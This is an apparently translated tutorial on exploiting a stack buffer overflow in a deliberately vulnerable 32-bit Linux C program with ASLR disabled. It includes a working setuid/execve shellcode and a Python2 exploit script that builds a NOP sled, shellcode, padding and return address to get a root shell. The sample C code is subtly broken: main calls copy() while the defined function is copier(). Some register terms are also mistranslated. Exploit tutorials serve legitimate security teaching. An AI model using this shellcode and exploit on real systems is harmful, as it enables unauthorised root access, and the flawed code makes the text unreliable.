Stack-Buffer Overflow [Linux 32 Bit] (Part I)
Buffer overflow occurs when the programmer does not sanitize the code of a program sufficiently. This allows the defined buffer to be exceeded and therefore certain registers to be targeted in order to inject shellcode
and lead to the execution of arbitrary code in the system.
In this article we will take advantage of the unsafe strcpy
function to overflow a defined buffer and thus overwrite the ESP, EIP registers to gain RCE. We will not have any kind of restrictions like ASLR (memory address randomization) or DEP (data execution prevention).
To disable ASLR is very easy, we send a 0 as input to /proc/sys/kernel/randomize_va_space
and that’s it.
echo 0 > /proc/sys/kernel/randomize_va_space
To start we need a binary vulnerable to BoF, so I found this basic C script that makes use of strcpy
.
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copy(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
This script has no use, what it basically does is copy the first argument that we pass as input and save it in a buffer and print Done on the screen, the vulnerability is in the use of strcpy
.
For compilation this must be in 32 bits, so it will be necessary to use the parameter -m32
of gcc
, otherwise it will create it in 64 bits.
The parameters used in compilation are to disable some restrictions.
This generates an executable binary, so we try passing it an A to verify that it works.
Ok, that works, now we are going to use gdb
to monitor the program usage at low level, we pass it the -q
parameter to read symbols and run the list
command to see the code.
We will make a breakpoint
at line 10, since the vulnerability does not happen in the main
function, we use the break 10
command.
We pass 4 bytes as an argument to the program with the run
command.
Once done, we use the info registers
command to view the logs.
We list the ESP
record with x/40x $esp
.
As you can see, a memory address has been overwritten with the 4 As in ANSI.
Now, what happens if we pass the program more 100 As? Let’s check it out.
A buffer overflow has occurred and the binary has crashed.
I have created a small Python script that prints more than 100 As on the screen and I have exported it as BoF.
#!/usr/bin/python3
print("A"*116)
We pass the As and look at the ESP record.
As you can see, all the A’s that we passed to the binary are there, this has overwritten even the return address, we are going to modify the return address
with hexedit
, we execute hexedit
+ the name of the binary.
And we changed the last values.
Now we look at the ESP register again.
The return address has changed, but it is in little endian
, that is, backwards.
Now we are going to calculate the offset
, that is, the As that we have to enter before the program corrupts. For this there is a tool called
pattern_create which creates a special string for you to then compute the
offset with
pattern_offset`.
I passed him the bytes in which he corrupted the program.
Once the string is created, we pass it to the program as an argument.
We copy and paste the address it reports into pattern_offset
.
There it is, the offset is 112 bytes. Now we will use NOPS to fill the missing bytes before the shellcode and keep the program flowing smoothly.
We need a shellcode
to gain access with a Shell, for this I used the following 32-byte one.
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
And I’ve created a small exploit in Python2 with the following code.
#!/usr/bin/python2
nops = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = "\xb0\xd3\xff\xff"
print nops + shellcode + padding + eip
What it does is generate 64 bytes of NOPS x90
and save them in the variable NOPS, then I define another variable shellcode
with the shellcode
, redundancy aside, and in the variable padding
I do the calculations by subtracting the 112 bytes of the offset
, minus the 64 of the NOPS and the 32 of the shellcode
and I create the chain of A’s from the remaining number. In the EIP address we introduce one of the NOPS sled in little endian
to avoid errors, since this will be pointing to the memory address of the instruction to be executed. And finally it would look something like this.
\x90\x90.. → \x31\xc0\x89.. → AAAA.. → \xb0\xd3\xff\xff
If we look at the result in hexadecimal with hexedit
we will see something like this.
I export the exploit as exp
.
And we do a cat
to the exported file.
And we have gained a root
shell on the system.
Leave a comment